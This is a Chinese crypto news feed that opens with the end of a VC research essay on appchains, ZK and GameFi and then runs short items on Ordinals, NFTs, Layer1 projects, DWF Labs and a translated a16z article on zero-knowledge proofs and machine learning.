再就是此类Appchain的TPS，出块时间，使用费用等基本和Optimism是完全同质化的，没有任何性能费用上的优化举措，所以理论上除非OP堵了，否则你在这条AppChain上面是得不到比OP通用链“更好的体验”的。而OP目前的缺点，这类RAAS也完全一并继承，比如那个遥遥无期至今不上线的的欺诈证明…… 但是还是要赞一下OP Stack超级链的愿景，未来拿OP Stack或是OP Stack Fork发的Rollup Chain越多，OP超级链就越有可能变成一个类似无需插槽拍卖，自带通信协议，完全异步可组合的“类波卡”架构，虽然这个愿景还离得很远，但画的这张饼也是真的香。OP也凭着OP Stack的叙事一举跟Arbitrum那边如火如荼的Defi创新斗了个平分秋色，研报写到一半Arbitrum也发布了Orbit，我就说这么大的一块肥肉Arb不可能不吃，果然发币+新项目一气呵成，OP VS Arb又有的看了！ 从理论上来说，ZK系列的RAAS是有可能提升Appchain使用体验的，因为像是ZK-Sync，Scroll这些走ZKEVM路线的都是重点关注兼容性，所以电路设计多少会牺牲一些效率，没法针对某个特定的Dapps进⾏优化。如果RAAS可以根据不同的DAPP做单独的电路设计或是优化的话，ZK Appchain的性能和体验肯定是要好过通用型的ZkEVM的 然而，这个世界上既懂ZK又懂区块链的人才太少了，为数不多的基本都集中在Starknet，Zk-Sync，Scroll，Polygon那边，就目前市面上看到的ZK系RAAS，基本就是在拿Zk-Sync的Alpha开源版本给你发条Zk-Sync的Fork链出来。。等到Polygon，Scroll上线+完全开源之后，最多也就是提供客户选项，你喜欢ZK-Sync还是Polygon还是Scroll的EVM啊，有那么点AWS里面创建Linux虚拟机的时候你选Redhat，还是Centos，还是Debian的即视感 所以，同样的，没什么技术壁垒，依旧是BD为王，且不如OP系成熟，毕竟几个ZK系Rollup正式版还没上线或是没有完全开源，现在能用的都只是一些开源测试版，Bug，体验之类的肯定是不如OP那边流畅。希望未来可以看到针对每个Appchain做单独电路设计或是优化的ZK系RAAS出现 如果说Appchain as Service 算是模块化区块链的代表赛道的话，那今年区块链两大显学 — 模块化与ZK。 ZK的障碍可以在以下几个方面分别来看 这个不用说，几大的ZK-Rolllup的主网今年纷纷上线，但上线归上线，上线之后其实问题还是挺多的 目前无论是ZK-Sync，Scroll，Polygon，上线的都是EVM兼容主网，唯独Starknet不是，但Starknet上也有一个叫做kakarot的“亲儿子”在做ZKEVM。笔者从业内的ZK专家那里了解到，其实几大明星ZK-Rollup的主网上线，都多多少少有点“赶鸭子上架”的Feel，各家产品的完成度或者说成熟度，都还没有真的达到传统意义上的“主网完成度级别”，上线之后免不了会有性能或是Bug上的各种问题，大概率需要后续不断的继续升级打补丁等等。这一点从各家原本计划的测试网从去年到今年的一拖再拖也大概能看出个端倪。究其原因还是因为ZKEVM确实“太难了”，难到业内最顶级的这帮工程师也要花比原先想象长的多的时间去攻克。至于为什么都赶着今年上主网，我想跟OP这边生态不断丰富，主网不断升级和稳定带来的压力有关，ZK系再不上，黄花菜都凉了，只要基本上能用，咱就先上线。后面大不了再不断更新迭代版本就是了。 ZK系的性能，至少在现阶段，是要 博弈，所以ZK比OP要安全 这个从长期来看当然没毛病。 但现阶段不一定是这样。 所谓安全，也就是交易要真的在ETH L1上“终结”，目前Arb是每两三分钟提交一次，OP是10分钟左右。ZK这边，因为证明的耗时耗力，基本上会是10–20分钟这个级别，且还是在区块打满的情况下，若是生态不够繁荣，区块不满，时间会更久 于是乎，虽然数学确实大于博弈，但现阶段ZK系交易终结的时间也远高于OP系，这就得靠ZK算法的进化，电路优化以及硬件加速不断缩小那个10–20分钟的时间，如果哪一天真的可以缩短到10–20秒那个级别（5–10年后？），那ZK系至少在安全这个领域，就绝对可以完爆OP了 这其实是不少人相对扩容更加看好的赛道，因为拿ZK来做扩容是个非常“重”的活，看这几个Rollup折腾几年主网还没上线就知道，而中间件则相对轻量很多，同时可以完美的发挥ZK特性 最为火热的中间件赛道自然是Interoperability — 互操作性这个赛道，通过ZK证明，免除对于第三方见证人的要求，大幅提升桥的安全性，甚至打通一些原本互相割裂，甚至很难互通的生态，比如各个Layer2之间，或是EVM与Cosmos的IBC互联等等。目前在做的几个团队有Succinct Labs（前几天刚发布了他们的Telepathy产品，实现了ETH的单向ZK桥), Electron Labs (最早提出ZK-IBC的概念），Polyhedra（ZK Bridge，ZK DID，ABCDE出手的第一个项目） 这个赛道虽然比Rollup轻量许多，但依旧是个超级硬核+费时费力的赛道，今年想要看到双向的，性能满意又安全的ZK桥，大概率不太可能。完全基于ZK的互操作性，我们依旧得找着2–3年这个时间线去规划 至于其他的ZK赛道，今年算是有点井喷的感觉，去过ETH Denver的都懂，可以说拿ZK做啥的都有，链上保险箱，DID，预言机，甚至AI与机器学习都有团队在做了。怎么说呢，有些的确是Make Sense，也有很多你会疑惑 — 貌似这玩意不用ZK也能做啊……总而言之，有那么点2017年ICO爆火，拿区块链当锤子，到处找钉子的Feel，当时诞生了各种去中心化打车，去中心化Airbnb之类的现在看来很无厘头的项目，只不过这次，区块链换成了ZK，感觉什么赛道我们都想着拿ZK给他改造一下…… Gamefi可能是目前最为火热的赛道，没有之一，算了算过去几个月看的+聊的项目，如果切细到每一个子赛道划分出来，Gamefi应该是最多的 原因不难理解，一方面，V神本人数年前就发话 ，金融与游戏会是区块链最先落地的两个场景 另一方面，Defi，存储，Socialfi等各个方向的尝试，在Mass Adoption方面取得的进展依旧不理想，虽然X2Earn的神话破灭，但Axie和StepN让所有圈内人看到了“破圈”的希望，甚至很多人坚定的认为，大规模破圈，还得指望“游戏” 所以一时间，既有Web2的游戏开发人员目光开始频频投向这里，其中不乏大厂和知名游戏工作室出来的技术团队，又有Web3各种原生态NFT，Defi等生态圈的人开始考虑如何把自己的东西“套一层Gamefi”上去，前段时间Ape搞的Dookey Dash便是一次相对成功的尝试 但现在的Gamefi赛道其实处于一个略微尴尬的时期，X2Earn的阵痛和死亡螺旋刚刚结束，如何在激励和游戏性之间取得一个平衡，大家其实并不知道，所有人都在“两眼一抹黑的”摸着石头过河，现阶段基本取得的一个共识是 — Free 2 Play，像是跑鞋和Axie那种先花钱买NFT才能玩的模式已经上看不到了 我们目前看到了下面几种形态的摸索 目前这7大方向， 哪一个或几个能够走到最后现在很难说。再者，Gamefi的发展还存在着一个根本矛盾，虽然游戏是最容易从圈外往里圈用户的，但游戏的本质其实是创造一个与现实脱离的世界，让人在繁忙的工作生活中暂时逃离出来，进入游戏乐园这一方“净土”。而与Web3或者说区块链底层的链接，让Gamefi不可避免的通过某种金融化的形式再次与现实世界连接起来，这种相连会不会打破游戏最本质的“净土”功能，可能是值得深思的一个问题 重新思考这3个当下最热门的赛道，其实并不代表我们不看好这些赛道，正相反，ABCDE是长期看好上述这3个赛道，也都已经或是计划在这几个赛道布局。我们往往高估一些技术的短期价值，而有往往低估一些技术的长期价值，这些赛道也许无法给投资机购与一二级市场带来相符或是短期的投资回报率。而对于我们这种LP 5年退出期的长线投资型VC来讲，时间会是我们最好的朋友。  ( 11 min )
    OpenAI、微软、谷歌等多个巨头将于周三开会讨论AI使用标准
    PANews 4月11日消息，据福克斯商业新闻报道，多个科技巨头和AI赛道头部公司将在本周三开会讨论制定人工智能使用的标准。本次会议由投资公司SV Angel召集，OpenAI、微软、谷歌、苹果、英伟达、Stability AI、Hugging Face等公司将派代表参与，会议将讨论如何以最负责任的态度继续开发AI。 此前3月消息，马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统。  ( 1 min )
    Ordinals协议存在导致铭文无法验证的代码漏洞，社区正就解决方案进行投票
    PANews 4月11日消息，据Cointelegraph报道，GitHub用户“veryordinally”于4月5日首次披露比特币原生Ordinals协议存在一个代码漏洞，该漏洞阻止了1200多个铭文被验证。该漏洞来自协议的索引器功能，仅计算提交至并包括协议版本0.5.1的交易的第一个输入中的铭文。 目前社区正在对该错误的解决方案进行讨论，第一个解决方案涉及选择一个区块高度，以追溯索引从铭文编号420,285起的所谓“孤儿”铭文，这大约是第一个孤儿铭文被识别的位置。另一种解决方案是不改变已经验证过的铭文编号，并选择一个区块高度，以便在将来的某个时候添加这些孤儿铭文。 根据Leonidas.og创建的推特民意调查，在撰写本文时，1,266名投票者中有67.5%的人赞成不更改铭文编号。不过对于第一种解决方案，Leonidas.og表示：“这感觉像是‘纯粹主义’的解决方案，因为它意味着Ordinals协议将正确匹配链上的逻辑顺序，但这可能会引起其他并发症。”目前，距离该民意调查投票结束还有16个小时。  ( 1 min )
    《财富》杂志发布首个“Crypto 40”榜单，由TradFi、CeFi等8个类别组成
    PANews 4月11日消息，《财富》杂志近日发布首个“Fortune Crypto 40”榜单，以对“最重要的加密公司”进行排名。Crypto 40由八个类别组成，即TradFi、CeFi、NFT、风险投资（VC）、数据、基础设施、协议和DeFi，每个类别都有五家公司。 入围TradFi类别的公司有PayPal、Robinhood、JPMorgan Chase（摩根大通）、Fidelity（富达）和Visa。入围CeFi类别的公司有Coinbase、币安、Kraken、Galaxy Digital和Circle。入围VC类别的公司有Polychain Capital、Animoca Brand、Andreessen Horowitz（a16z）、Pantera Capital和Blockchain Capital。入围NFT类别的公司有OpenSea、Yuga Labs、Sky Mavis、Art Blocks和RTFKT (Nike)。入围Data类别的公司有Chainalysis、Coin Metrics、The Graph、Dune和Messari。入围基础设施类别的公司有Ledger、Genesis Digital Assets、Bitmain、Alchemy和Moonpay。入围DeFi类别的公司有Uniswap Labs、Lido、MakerDAO、Aave和Curve。入围协议类别的项目有Ethereum Foundation、Bitcoin、Polygon Labs、Solana Foundation、Offchain Labs (Arbitrum)。  ( 1 min )
    奢侈品牌Gucci发布Otherside Relics系列，普通玩家该如何参与？
    来源： Otherside 编译：Moni 4 月 4 日，奢侈品巨头 Gucci 宣布将与Yuga Labs旗下元宇宙游戏 Otherside 合作推出限量版 Otherside Relics by Gucci 系列，该系列首个圣人遗物（relic）元数据特征更新 KodaPendant 已于 4 月 7 日 6:00 开启销售，共计发售 3,333 枚，每个定价为 450APE，合格参与者必须持有 Koda 或 VesselNFT。据悉实物 KodaPendant 项链采用 925 银制成，带有古董饰面且配有 “GG”LOGO 的 Koda 形状吊坠，每个吊坠的背面都有一个独特的版本号。 消息宣布之后，Otherside 官方网站发布了 Otherside Relics by Gucci 系列问答，旨在帮助用户了解如何“玩转”新推出的 KodaPendant，具体如下： Gucci 的 Otherside Relics 是 Otherside 和 Gucci 合作的 NFT 系列。 KodaPendant 是 Gucci 系列 Otherside Relics 中的首个圣人遗物（relic），专供 Vessel 和 Koda NFT 持有者使用，旨在将数字世界和实体世界整合在一起。KodaPendant 为 Vessel 或 Koda NFT（数字 KodaPendant）持有者提供 3,333 个限量版元数据可视化功能更新，具有 KodaPendant 特征的 Vessel NFT 或 Koda NFT 持有者无需额外费用即可在访问 Gucci 品牌聊天渠道并在 Otherside 追踪 VFX，后续还能领取实物 KodaPendant 项链。 所有 Koda NFT 或 Vessel NFT 持有者都可以购买 Gucci KodaPendant 的 Otherside Relics。3,333 个数字 KodaPendants 将从美国东部时间 4 月 6 日下午 6 点开始以先到先得的方式销售 24 小时或直到售完为止。请注意，实物 KodaPendant 只能发送到符合快递条件的国家/地区。 注意：在（或来自）古巴、伊朗、朝鲜、叙利亚和乌克兰的用户将不支持购买。 通过购买 KodaPendant，您将获得元数据特征，该特征是所选 Koda NFT 或 Vessel NFT 的永久视觉更新，这些 NFT 现在都将佩戴数字 KodaPendant 项链。 更新后的 Koda NFT 或 Vessel NFT 将可以解锁 Otherside 3D 化身的装饰选项（即将于 23 年夏季推出）。今年夏天，具有 KodaPendant 特征的 Koda NFT 或 Vessel NFT 的持有者如果在允许国家/地区提供送货地址，则可能有资格免费从 Gucci 索取实物 KodaPendant 项目。所有物品都与更新的 Koda 或 Vessel 相关联，因此无论是谁购买的，物品可用时的 NFT 持有者都将会获得实物物品。 KodaPendants 将以先到先得的方式出售，并且每笔交易仅限于一个 Koda NFT 或 Vessel NFT。如果您持有不止一个 Koda 和/或 Vessel NFT，可以返回网站并购买额外的 Koda 数字吊坠，售完即止。 首先需要连接钱包以确认您是否是 Koda NFT 或 Vessel NFT 持有者。然后，需要提供国家和电子邮件地址信息并为数字 KodaPendant 选择 Koda 或 Vessel。在后台更新预览配有 KodaPendants 的 Koda 或 Vessel 外观后，就可以使用钱包完成交易（仅限 ApeCoin 支付）。 交易完成后，您会看到确认信息，交易信息可以在 Etherscan 上查看，所选的 Koda 或 Vessel 将反映元数据更新。请注意，交易完成后可能需要几分钟时间才能将信息更新状态反映在市场上。 Gucci 和 Yuga Labs 只会将注册电子邮件地址用于基本更新的通知电子邮件地址，例如订单问题和实物 KodaPendant 的申领说明，用户可以点此查看相关隐私政策。 450 APE。 销售将于美国东部时间 4 月 6 日下午 6 点开始，持续 24 小时或直到售罄，以先到者为准。 所有销售均以 ApeCoin 进行。 将支持 Metamask、Coinbase钱包和 Wallet Connect，将支持 Warm.xyz 进行代币委托。 不可以，但在结账前有机会通过数字 KodaPendant 和背景更新预览查看 Koda NFT 或 Vessel NFT 的外观。此外，还可以下载 Koda/Vessel PFP、NFT、具有 KodaPendant 元数据特征更新的透明背景 PFP、以及原始 Koda NFT 的图像文件进行预览查看。 不会，用户仍然拥有使用原始 Koda 或 Vessel 图像的相同许可（没有视觉更新），需要注意的是，原始 Koda 图像可以根据许可用于商业目的，但具有 KodaPendant 特征的版本可能不会，但用户可以从otherside.xyz上的收藏家资料下载原始 Koda 的 PNG（不具有 KodaPendant 特征）。 不可以，但可以使用原始的 Koda 图片，该图片可以在结帐过程结束时下载，也可以从otherside.xyz上的收藏家资料下载。KODAPENDANT 仅具有个人使用权，不得用于商业目的。为清楚起见，KODAPENDANT 持有者在任何情况下都没有使用 Gucci 标志或字符字体的商业权利。 不可以，元数据更新将与购买时选择的 Koda 或 Vessel NFT 绑定。 所有 Koda NFT 或 Vessel NFT 持有者的元数据更新都是一样的。根据您的 Koda 或 Vessel 放置“项链”的位置可能会有所不同（KodaPendant 在 Koda 和 Vessel 上的外观位置会有所不同）。 可以在OpenSea中查看 Koda 或 Vessel NFT 时，选择右上角菜单，在那里会看到一个选项“刷新元数据”。 Vessel 或 Koda NFT 持有者可以联系support@otherside.xyz了解任何元数据更新问题。 KodaPendant 项链是 Gucci 的 Otherside Relic，集时尚、娱乐和网络于一体，由 925 纯银制成，Koda 形吊坠是对 Yuga Labs 的 Otherside 的致敬，而眼睛和互锁 G 链则带有 Gucci 极具辨识度的 GG 标志，每件作品的背面都刻有一个独特的版本号。 所有实物 Koda 吊坠看起来都一样，除了背面有一个独特的版本号。 今年夏天，钱包中持有带有 KodaPendant 特征的 Koda 或 Vessel NFT 持有者可以免费从 Gucci 领取实物 KodaPendant。 为了领取实物 KodaPendant，具有 KodaPendant 特征的 Koda 或 Vessel NFT 的持有者将需要在稍后访问 Gucci 网站，或者在 Twitter 上关注@OthersideMeta 以获取 Gucci 网站信息以及索赔和运输更新。请注意，Gucci 只会将实物 KodaPendant 运送到部分国家/地区。 具有 KodaPendant 特征的 Koda 或 Vessel NFT 的新所有者只要在符合条件的国家/地区内提供送货地址，就有资格领取实物 KodaPendant 。 可以为每个拥有 KodaPendant 特征的 Vessel 或 Koda NFT 索取一个实物 KodaPendant 项链。 不可以。 元数据更新将不予退款。实物 KodaPendants 不能退货。Gucci 客户服务将提供实物 KodaPendant 方面的帮助，兑换实物 KodaPendant 后，将在相关 Gucci 网站上提供更多详细信息。  ( 4 min )
    FTX债权人：FTX Japan或因计划重启而取消拍卖
    PANews 4月11日消息，自称是FTX债权人的推特用户@AFTXcreditor在推特上引用披露文件表示，FTX Japan取消拍卖的原因是其计划进行重启。文件显示：“日本就可能重新开放交易平台的下一步措施提供最新情况，就重开交易平台需工作采取后续行动并提供指导。”  ( 1 min )
    Jack Dorsey：旗下支付公司Block正开发与Nostr兼容的产品
    PANews 4月11日消息，据Politico报道，推特公司前首席执行官Jack Dorsey在接受采访时表示，其旗下支付公司Block正在开发与去中心化社交协议Nostr兼容的产品，Nostr上的用户体验已经超过了推特，并引入了比特币打赏功能“Zaps”，这是信息和资金在互联网上畅通无阻地共同流动的愿景的一部分。 他还表示，NostrR在比特币利基之外也越来越受欢迎，他说，打赏功能将吸引一个“不断增长的艺术家社区”，“随着Zaps的发展，以及我们终于在互联网上实现全球免许可支付，这一数字将会更快增长。” 在这次交流之后，Dorsey宣布这将成为他新的个人媒体政策的模式：“我不再接受封闭式采访。仅通过Nostr或现场直播。” 相关阅读：试玩去中心化社交产品Damus：推特“杀手”，比特币推手  ( 1 min )
    去中心化存储基础设施BNB Greenfield已上线测试网“Congo”
    PANews 4月11日消息，BNB Chain开发团队推出的去中心化存储基础设施BNB Greenfield已上线测试网“Congo”，并呼吁社区积极试用Congo测试网络。Greenfield测试网络的存储提供商（SP）与测试网络验证节点合作提供完整的存储服务，存储提供商存储实际数据，而验证节点通过共识处理元数据和财务分类帐。 据悉，BNB Greenfield是BNB Chain生态系统中的去中心化存储基础设施，用户和DApps可以创建、存储和交换具有完全所有权的数据，形成一个新的数据经济。 相关阅读：挖掘数据“钞能力”，去中心化存储BNB Greenfield升级Web3基建  ( 1 min )
    比特币短时突破30000美元，创2022年6月以来新高
    PANews 4月11日消息，OKX行情显示，比特币短时突破30000美元，创2022年6月以来新高。现回落至29791美元，24小时涨幅达4.81%。  ( 1 min )
    Layer2交互很热，但这些Layer1同样值得关注
    原文：《别再只盯着Layer2空投，Layer 1 或将风云再起》 作者：比推BitpushNews Asher Zhang 今年一季度Layer2空投热度还在，市场上很多人的焦点和资金还放在Layer2里面；但事实上Layer1同样值得关注，特别是二季度。以太坊虽然是Layer1霸主，但区块链技术整体上仍然处于早期阶段，还有很多问题亟待解决，加密市场每一轮牛熊周期，都会诞生一批Layer1巨头。那么，都有哪些Layer1项目值得关注？加密大V都看好哪些项目？这些项目大热背后的深层逻辑又是什么？ 二季度或有大空投来袭，Sui等项目值得关注 进入到二季度，从项目价值和官方信息看，目前最值得关注的Layer1项目主要有Sui和Aleo。Sui 是 Aptos （项目代币APT）的直接竞争对手，都是寻求在其基础层上找到可扩展性解决方案，两者都是由曾参与 Facebook 失败项目 DIEM（Libra）的前 Meta 员工创立，两者都使用基于 Rust 的编程语言 Move，不过 Sui 的版本稍作修改。另外，Sui 使用 Narwhal 和 Tusk，一个基于 DAG 的内存池。APT发布空投后，币价上涨惊人，Sui的项目代币自然值得期待。那么，Sui大概率会什么时候发币呢？ 3月份，Sui 开发团队 Mysten Labs 在官方推特发文表示：Sui 主网将于今年 Q2 上线，虽然目前官方表示没有正式的空投计划, 不过 SUI Network 发布了 SUI Token 社区访问计划以及 SUI Token 的分配细节。 SUI Token 分发计划包括：开发人员资助计划、SUI 委托计划、大使计划、大学拓展计划、教育计划。虽然目前只有开发者资助计划在运作，但其余计划正在积极开展中，并将在短时间内启动。Sui 基金会的目标是在 Sui 主网启动之前让所有这些项目上线。SUI代币分配如下图： 初期，由 Sui 基金会管理的社区储备拥有超过一半的 SUI Token，它们将用于各种社区项目，比如，委托计划、Grants 分配、研发、验证者补贴等。另外，随着网络成熟到去中心化，Sui Token 分配将会发生一些根本性的变化。官方表示，对于已经在传播有关 Sui 的知识、将开发人员引入 Sui 以及测试和帮助改进 Sui 当前应用程序的产品体验的 Sui 朋友，一旦主网启动，基金会将确保其参与 Sui 的 Token 分配。由此看来，Sui二季度发空投的概率非常大。 除了Sui之外，最值得关注的就是Aleo。Aleo 像是 "以太坊和 Zcash 的一个孩子"，其主要有 3 个优点：1. 没有环境污染的 POS；2. 最大限度的无权限，激励最佳验证者行为；3. 通过使用 SNARKs 平衡隐私和透明度。2022年2月，Aleo曾完成2亿美元B轮融资，SoftBank和Kora Management领投，Andreessen Horowitz（a16z）、Tiger Global、Samsung Ventures等参投。Aleo于2022年10月启动测试网3激励，并将2500万个Aleo积分（ALEO）分发给开发者、证明者和验证者社区。2023年3月21日，Aleo已开放其最终激励测试网验证者与证明者申请；3月30日Aleo官方发推称“四月即将有大事发生”，社区猜测或将上线主网。 上线一周锁仓15亿美元，LayerZero快速走红 仅就目前Layer1中市场热点，那无疑是LayerZero。LayerZero 近期正式上线以太坊等七个网络后，基于其的跨链协议 Stargate 在上线不到一周的时间内就揽获 15 亿美元锁仓金额，表现十分亮眼。据《比推》4月4日报道，LayerZero Labs以30亿美元估值完成1.2亿美元B轮融资，资方背景都十分雄厚，主要有a16z Crypto、红杉资本（Sequoia Capital）、OKX Ventures、Circle Ventures、Samsung Next、OpenSea和佳士得等参投。那么LayerZero到底是什么，竟有如此强的吸引力呢？ LayerZero 是一个由 LayerZero Labs 开发的全链（omnichain）互操作性协议，支持所有 Layer 1 以及 Layer2 间的跨链通信。LayerZero 从去年一季度开始构建，目前已上线以太坊、Avalanche、Polygon、BNB Chain、Fantom、Arbitrum 和 Optimism，还会在 6 到 8 周内上线 Solana、Terra 和 Cosmos Hub 等。 LayerZero 提供了一套标准协议和接口，可以让不同的区块链网络和智能合约进行互操作，从而实现跨链通信和数据传输。LayerZero 的价值就是在解决类似多链部署的流动性碎片化问题时，LayerZero 使用非封装资产方式、支持 EVM 和非 EVM统一的流动性层，以及在资产跨链时能够将原链兑换、桥接、目标链兑换、质押等复杂的交易捆绑成一个等特性。简单来说，LayerZero 依赖预言机和中继器在链上端点之间传送信息，当用户应用从 Chain A 发送信息至 Chain B 时，消息会通过 Chain A 上的端点路由，端点通知用户应用指定的预言机和中继器，再由预言机将区块头传递到 Chain B 上的端点，然后由中继器提交交易证明，当交易证明在 Chain B 上得到验证，消息就会被传送到目标地址。此外，运行中继器和 Oracle 是完全开放且无需许可的。LayerZero 在做的不仅仅是简单的资产跨链，还支持多项跨链活动，包括状态共享、统一流动性桥、借贷、兑换和治理等。 那么LayerZero会在什么时候发币呢？LayerZero Labs的联合创始人兼首席执行官Bryan Pellegrino在接受采访时拒绝就代币发布时间表置评，但根据过往经验，完成融资之后代币发行往往会紧随其后。 Layer1竞争仍然激烈，大V还看好哪些项目 “江山代有才人出，各领风骚数百年”，Layer1 赛道可以说在每一个牛熊周期都会诞生一批霸主，那么除了Sui、LayerZero还有哪些Layer1项目值得关注？下面我们进一步整理一些推特大V看好的项目。 知名加密大V Crypto in Black发文盘点了11个即将到来的L1和L0潜力股，其主要为：Aleo（其是一个第一层区块链平台，使用零知识密码学来实现隐私应用）、Shardeum（其是与以太坊虚拟机 (EVM) 兼容的分片区块链）、Sui（其是一个由前 Meta（前 Facebook）工程师设计的无权限、PoS 第一层区块链，是 Aptos 的直接竞争对手）、Fuel Labs(其正试图成为模块化区块链栈开发最快的执行层)、ireChain（其是印度发展最快的区块链独角兽企业之一）、Celestia（其通过将共识层与执行层脱钩使人们可以快速部署自己的区块链）、Subspace（其由PoAS共识驱动，是一个新的去中心化存储项目）、Sei Network（其是一个专门用于交易的特定于行业的1层区块链）、ParallelChain（其为商业原生许可平台和开源区块链平台提供技术支持）、Quai Network （其采用PoW2.0机制和多链架构，提供一种新颖的一层扩展解决方案）、LayerZero（其是一个全能链的互操作性协议）。 对于一些优质项目，很多大V的看法基本相同。推特大V何币（@hebi555）早些时候提到：未发币L1有sui，sei，layerzero、fuel、zeta，aleo，shardeum，celestia等。推特大V杀破狼（@0xKillTheWolf）进一步将这些优质项目整理成表格，其发推表示：这里整理了 13 个顶级机构投资且还未发币的 #Layer1 公链项目汇总，以方便大家参考！ 市场上方虽然阴云密布，但技术发展从未止步 从上面的分析可以看出，Sui、Layerzero、Sei、Fuel、Aleo，Shardeum，Celestia等项目市场目前普遍较为看好。其主要原因在于这些项目针对区块链目前的弊病提出了新颖的解决方案，比如解决区块链性能低下问题的可扩展方案，如Sui、Shardeum、Sei等；解决区块链孤岛效应的跨链互操作协议，如Layerzero等；降低区块链开发门槛的解决方案，如Celestia、Fuel Labs等。 伴随硅谷银行等加密银行破产，美国监管机构对于加密市场进一步收缩敞口，最近CFTC更是直接起诉币安，多国也是进一步收紧加密机构和交易所等的监管，加密市场上方可谓阴云密布，但这些并未阻止区块链技术发展的脚步。我们相信，比特币以及整个加密行业并非只是泡沫抑或短暂烟火，比特币和加密行业未来会继续壮大，而这背后的根本原因就在于区块链技术从未停止发展，基于区块链技术的数字金融并非空中楼阁，而人类的数字化进程也不决会停止。  ( 2 min )
    推特用户：DWF Labs很多公开的投资交易与链上数据不匹配
    PANews 4月11日消息，推特用户Nay发推文称，经过链上数据分析，DWF Labs几乎所有情况下进出代币的数量都与时间和美元金额相匹配，这意味着这些不是贷款，因此不是标准的做市商交易；DWF Labs所有交易的模式都是要么每天一次左右地购买5万至10万美元的稳定币，要么购买每笔交易高达500万美元的大额交易，然后把所有（或几乎所有）资金都存放在CEX上。 Nay还表示，DWF Labs在韩国市场非常活跃。一些韩国项目主动公开了在Xangle的新投资。自去年11月以来披露的11个项目中，大部分未披露金额。DWF向mcap APM投资了500万美元，但BIOT披露与链上数据不匹配。同时其很多公开的投资交易无法与链上数据相匹配，6500万美元在链上得到确认，据报道超过1.5亿美元，除此之外还有很多没有报道，有一种可能是他们代表项目团队以不少于某价格出售代币并预先汇款，从而赚取delta。许多交易有10-20%的折扣，但有些则没有。 此外Nay表示，DWF Labs官方负责人Andrei Grachev自2018年以来一直被公开指控进行各种加密骗局，其中其与包括价值40亿美元的加密庞氏骗局OneCoin的关系，此前曾有俄语媒体在2019年撰文披露，Andrei Grachev曾作为Huobi俄罗斯站负责人在OneLife项目在莫斯科组织的一次聚会上表示，有信心就Huobi上线OneCoin的“独家”条件达成一致。  ( 1 min )
    a16z：零知识证明如何与机器人学习进行结合？
    原文：《Checks and balances： Machine learning and zero-knowledge proofs》by Elena Burger，a16z crypto 交易合伙人 编译：Kate 本文作者 Elena Burger，是 a16z crypto 的交易合伙人，专注于游戏、NFT、web3 媒体和去中心化基础设施。在加入团队之前，她在 Gilder, Gagnon, Howe, and Co 担任了四年的股票分析师。她拥有哥伦比亚大学巴纳德学院的历史学学士学位。 在过去的几年里，区块链上的零知识证明在两个关键目的上非常有用：(1) 通过处理链下交易和验证主网上的结果来扩展计算受限的网络；(2) 通过启用屏蔽交易来保护用户隐私，只有拥有解密密钥的人才能看到。在区块链的背景下，很明显为什么这些属性是可取的：像以太坊这样的去中心化网络如果没有对验证器处理能力、带宽和延迟无法维持的需求 ( 因此需要有效性 Rollup)，就无法增加吞吐量或区块大小，并且所有交易对任何人都是可见的 ( 因此需要链上隐私解决方案 )。 但是零知识证明对于第三类功能也很有用：有效地验证任何类型的计算是否正确运行 ( 不仅仅是 EVM 链下实例化中的计算 )。这远远超出了区块链的范畴。 利用零知识证明的能力来简洁地验证计算系统的进步，现在使得用户可以从现有的每个数字产品 ( 最关键的是机器学习模型 ) 中要求区块链确保相同程度的不可信任和可验证性。对区块链计算的高需求激励了零知识证明研究，创建了具有更小内存占用和更快证明和验证时间的现代证明系统，使得现在可以在链上验证某些小型机器学习算法。 到目前为止，我们可能都体验过与一个极其强大的机器学习产品交互的潜力。几天前，我使用 GPT-4 帮助我创建了一个在国际象棋中不断击败我的 AI。这感觉像是过去几十年机器学习领域所有进步的一个缩影：IBM 的开发人员花了 12 年时间开发出 Deep Blue，一个运行在 32 节点 IBM RS/6000 SP 计算机上的模型，能够每秒评估近 2 亿步国际象棋，在 1997 年击败了国际象棋冠军加里·卡斯帕罗夫 (Gary Kasparov)。相比之下，我只花了几个小时，我只编写了很少的代码，就编写了一个能够战胜我的程序。 诚然，我怀疑我创造的人工智能能否在国际象棋中击败 Gary Kasparov，但这不是重点。关键是任何玩 GPT-4 的人都可能有类似的获得超能力的经历：不费什么力气，你就可以创造出接近或超过你自己能力的东西。我们都是 IBM 的研究人员；我们都是 Gary Kasparov。 显然，这是令人兴奋和有点令人生畏的思考。对于任何在加密行业工作的人来说，自然的冲动 ( 在惊叹于机器学习可以做什么之后 ) 是考虑潜在的中心化向量，以及如何将这些向量去中心化到一个人们可以透明地审计和拥有的网络中。目前的模型是通过吸收大量公开可用的文本和数据来构建的，但目前只有少数人控制和拥有这些模型。更具体地说，问题不是「人工智能是否具有巨大的价值」，而是「我们如何构建这些系统，使与之交互的任何人都能获得经济利益，如果他们愿意，还能确保他们的数据以尊重他们隐私权的方式使用。」 最近，有一种声音呼吁暂停或减缓 Chat-GPT 等大型人工智能项目的进展。停止进展可能不是这里的解决方案：相反，更好的做法是推动开源模型，在模型提供者希望其权重或数据是私有的情况下，用链上和完全可审计的隐私保护的零知识证明来保护它们。如今，后一种围绕私有模型权重和数据的用例在链上尚不可行，但零知识证明系统的进步将使其在未来成为可能。 像我使用 Chat-GPT 构建的象棋 AI 在这一点上感觉相对良性：一个具有统一输出的程序，它不会使用侵犯有价值的知识产权或侵犯隐私的数据。但是，当我们想要确保我们被告知的模型在 API 后面运行时确实是运行的模型时会发生什么？或者如果我想将经过验证的数据提取到链上的模型中，并确保数据确实来自合法方？如果我想确保提交数据的「人」确实是人，而不是试图攻击我的网络的机器人，该怎么办？零知识证明，凭借其简洁地表示和验证任意程序的能力，是实现这一目标的一种方式。 值得注意的是，今天，在链上机器学习环境中零知识证明的主要用例是验证正确的计算。换句话说，零知识证明，更具体地说，SNARK ( 简洁的非交互式知识论证 )，在 ML 上下文中因其简洁属性而最有用。这是因为零知识证明保护了证明者 ( 及其处理的数据 ) 的隐私不受窥探验证者的侵害。像全同态加密 (FHE)、功能加密或可信执行环境 (TEE) 这样的隐私增强技术更适用于让不受信任的验证者对私有输入数据运行计算 ( 更深入地探索这些技术不在本文的范围内 )。 让我们退一步，从更高层次上理解你可以用零知识表示的机器学习应用程序的类型。( 要想更深入地了解 ZK，请参阅我们关于零知识证明算法和硬件改进的文章，Justin Thaler 关于 SNARK 性能的工作，或者我们的零知识标准。) 零知识证明通常将程序表示为算术电路：使用这些电路，证明者从公共和私人输入中生成一个证明，验证者从数学上计算该语句的输出是正确的——而不获得关于私人输入的任何信息。 